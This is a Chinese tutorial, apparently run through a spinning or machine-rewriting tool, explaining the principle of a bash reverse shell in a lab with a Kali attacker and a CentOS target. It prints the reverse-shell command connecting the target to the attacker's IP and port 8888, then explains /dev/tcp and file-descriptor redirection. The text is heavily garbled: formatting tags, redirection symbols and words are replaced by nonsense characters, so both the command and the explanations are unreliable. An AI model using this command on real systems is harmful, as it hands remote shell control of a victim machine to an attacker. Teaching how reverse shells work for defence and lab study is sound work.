这期内容当中小编将会给大家带来有关Linux中bash反弹外壳的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
<强>攻击机:kali ,,,,,ip: 192.168.25.144 强>
<强>靶,,机:centos ,,ip: 192.168.25.142 强>
卡莉监听本8888年地端口
靶机centos写入反弹外壳的命令
bash -我在,/dev/tcp/192.168.25.144/8888 0祝辞,1
攻击机卡莉成功反弹外壳
<强>反弹外壳>强往往是在<强>攻击者强>无法直接连接<强>受害者>强的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让<强>受害者主动向攻击者发起连接,被控端>强发起请求到<>强控制端强>某端口,并将其命令行的输入输出转到<>强控制端,从而强> <强>实现交互强>
我们将命令拆开
bash - i
/dev/tcp/192.168.25.144/8888
祝辞,0祝辞,1
<强> 强>
Linux中一般默认的壳是<强> bash 强>,它功能几乎可以涵盖壳所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的壳有,,<强>灰,bash,破折号,ksh、csh、zsh 强>等,不同的壳都有自己的特点以及用途
<强>查询当前壳命令,,强> <强> ls - l/bin/sh 强>
<强> bash小姐,,>强打开一个交互式的bash ,,,,,shell如果有,<强> - 强>参数,就是交互式的
交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的
使用命令,<强> echo $ - 强>,可以查看是否是交互式壳
,,,,,
有参数,<强>,>强是交互式的
执行一个shell脚本
,
无参数<强>,>强非交互式
dev是设备(设备)的英文缩写。这里主要存放与设备(包括外设)有关的文件,<强> Linux一切皆文件强>
<强>,/dev/tcp/强>是Linux中的一个特殊设备,打开这个文件就相当于发出了一个套接字调用,建立一个套接字连接,读写这个文件就相当于在这连个插座接中传输数据。同理,Linux中还存在/dev/udp/
/dev/tcp/192.168.25.144/8888
所以上述命令就是和192.168.25.144:8888建立tcp连接
<强> 强>
Linux系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。
所有执行i/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)
标准输入(stdin):,,,,,,代码为,0,,,使用& lt;& lt;或& lt;,,,,默认设备键盘
标准输出(stdout):,,,,,代码为,1,,,使用比;或在祝辞,,,,,默认设备显示器
标准错误输出(stderr):,代码为,,2,使用2比;,或2比的在,,,默认设备显示器
- - - + - - - - - - - - - - + (0)- - - - -在| dev/tty0 |当开启一个终端时默认的文件描述符指向/dev/tty0(虚拟终端) - - - + - - - - - - - - - - + - - - + - - - - - - - - - - + (1)——祝辞| dev/tty0 | - - - + - - - - - - - - - - + - - - + - - - - - - - - - - + (2)——祝辞| dev/tty0 | - - - - - - + - - - - - - - - - - +
大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回,# 8203;及# 8203;到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端